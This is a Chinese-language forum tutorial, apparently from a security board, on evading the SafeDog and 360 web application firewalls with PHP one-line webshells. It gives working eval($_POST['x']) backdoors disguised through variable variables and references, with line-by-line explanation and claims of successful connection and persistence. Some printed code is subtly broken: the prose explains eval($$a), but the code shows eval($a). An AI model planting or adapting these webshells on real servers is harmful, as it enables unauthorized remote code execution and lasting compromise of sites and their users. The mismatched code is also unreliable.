00x01安全狗的確是讓人很頭痛,尤其是在上傳一句話或者寫入一句話的時候,會被安全狗攔截從而拿不下shell。
當然,安全狗是最簡單的一款waf,很容易就進行一個繞過。
00x02
對於繞過安全狗跟360,我姿勢不多,但是卻很實用為以下兩種
1.#可變變量
2.#引用變量
00x03
##可變變量(菜刀可能報錯)
<@eval($_POST['x'])
復制代碼
經常使用的人都知道,只是最簡單的一句話,不過任何waf與規則
我們先來加入需要的函數
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
復制代碼
我們先來測試下是否被殺
可以看見,是成功過了安全狗,我們來測試下連接
並且成功可以連接
代碼分析#
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
?>
復制代碼
我們來看第二行代碼
$a='b';
復制代碼
知道可變變量的人應該都能看懂吧,第三行$$a中的$a是b,也可以這么說$a替換成b。
繼續看第三行
$b=$_POST['x'];
復制代碼
根據第一行知道$$a就是$b,$b用來接收post 提交的數據
最后第四行
@eval($a);
復制代碼
執行$$a相當於執行了$a也就是$b. 最后,我們整合成一句話
<?php $a='b'; $b=$_POST['x']; @eval($a);?>
復制代碼
總結
1# 可變變量比較靈活對於過狗也比較簡單
2# 不過D盾只適合安全狗與360針對性比較高
00x04
##引用變量
<@eval($_POST['x'])
復制代碼
還是原始一句話,我先寫出寫好的代碼
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
復制代碼
我們繼續測試下是否被殺,
可以看見,一樣過了安全狗,我們繼續測試下是否可以連接
可以看見,已經連接上了,並且可以進行操作。
##代碼分析
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
復制代碼
我們來看第二行代碼
$a=$_POST['x'];
復制代碼
$a用來接收post提交的數據
繼續看第三行代碼
$b=&$a;
復制代碼
$b引用了$a的內存地址間接的相當於$b接收了post提交的數據
最后第四行代碼:
@eval($b);
復制代碼
執行$b。最后我們來整合成一句話
<?php $a=$_POST['x']; $b=&$a; @eval($b);?>
復制代碼
總結(與可變變量一樣)
1# 可變變量比較靈活對於過狗也比較簡單
2# 不過D盾只適合安全狗與360針對性比較高
00x05
大總結
1# 了解其原理,一味的抄寫在安全狗更新時無法能夠獨立編寫
2# 活學活用,多種方式結合可寫出各種變態一句話,從而達到持久等效果
3# 多多與人交流,交流乃學習不可缺少的根本,共享思路結合思路,便可以稱為一個大牛。4# 安全狗只是一個很簡單的waf,不能止步於此,低調發展尋求高傲的技術
00x06
1#當然,我只列出的是一部分,還有許多的方式,例如函數替換,關鍵字拆分,雙變量等方式。
2#第一次寫文章,可能寫的不是很好,有建議者可以評論點出,萬分感謝。
3#日后我會分享過waf注入的思路,請大家多多支持!
本文來源:http://bbs.ichunqiu.com/thread-9012-1-1.html?from=bky